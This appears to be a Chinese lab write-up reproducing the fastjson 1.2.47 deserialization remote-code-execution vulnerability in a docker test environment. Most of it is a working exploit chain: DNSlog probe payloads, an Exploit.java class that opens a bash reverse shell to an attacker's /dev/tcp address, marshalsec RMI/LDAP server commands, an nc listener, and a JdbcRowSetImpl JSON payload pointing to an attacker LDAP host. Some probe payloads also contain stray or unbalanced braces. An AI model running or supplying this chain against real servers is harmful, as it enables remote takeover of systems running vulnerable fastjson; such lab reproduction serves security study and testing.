影响版本

fastjson <=1.2.47

环境搭建

环境

理想状态:

  • 两台服务器:一台搭建漏洞环境;一台作为攻击者的远程vps。
  • 我的状态:一台服务器,docker搭建环境,主机进行测试。

搭建

  • BUUCTF靶场中搜索fastjson

  • docker hub进行安装

    docker pull initidc/fastjson1.2.47_rce

    端口8090

  • github下载docker-compose.yml

    访问 https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
    复制docker-compose.yml内容,进入到自己服务器目录中创建同名文件后执行 docker-compose up -d

漏洞复现

0x00

靶机JDK为8u102,此版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,所以可以利用RMI进行命令执行。

DnsLog探测Fastjson反序列化的几种方法

根据实际情况进行探测:

1
2
3
4
5
6
7
8
9
{"name":{"@type":"java.net.InetAddress","val":"DnsLog"}}
{"name":{"@type":"java.net.Inet4Address","val":"Dnslog"}}
{"name":{"@type":"java.net.Inet4Address","val":"Dnslog"}}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:0

0x01

下载利用工具

https://github.com/CaijiOrz/fastjson-1.2.47-RCE.git

编辑Exploit.java文件

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/ip/7777 0>&1");
//使用7777端口进行shell的反弹
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

对文件进行编译。

1
javac Exploit.java

启用RMI或LDAP服务并监听8888端口

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer `http://ip:port/#Exploit 8888`

另开一个窗口,在Exploit.class的目录下开启临时端口6666

1
python3 -m http.server 6666

再开一个窗口,监听7777端口

1
nc -lvvp 7777

抓包发送payload

1
2
3
{
"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:8888/Exploit","autoCommit":true}}
}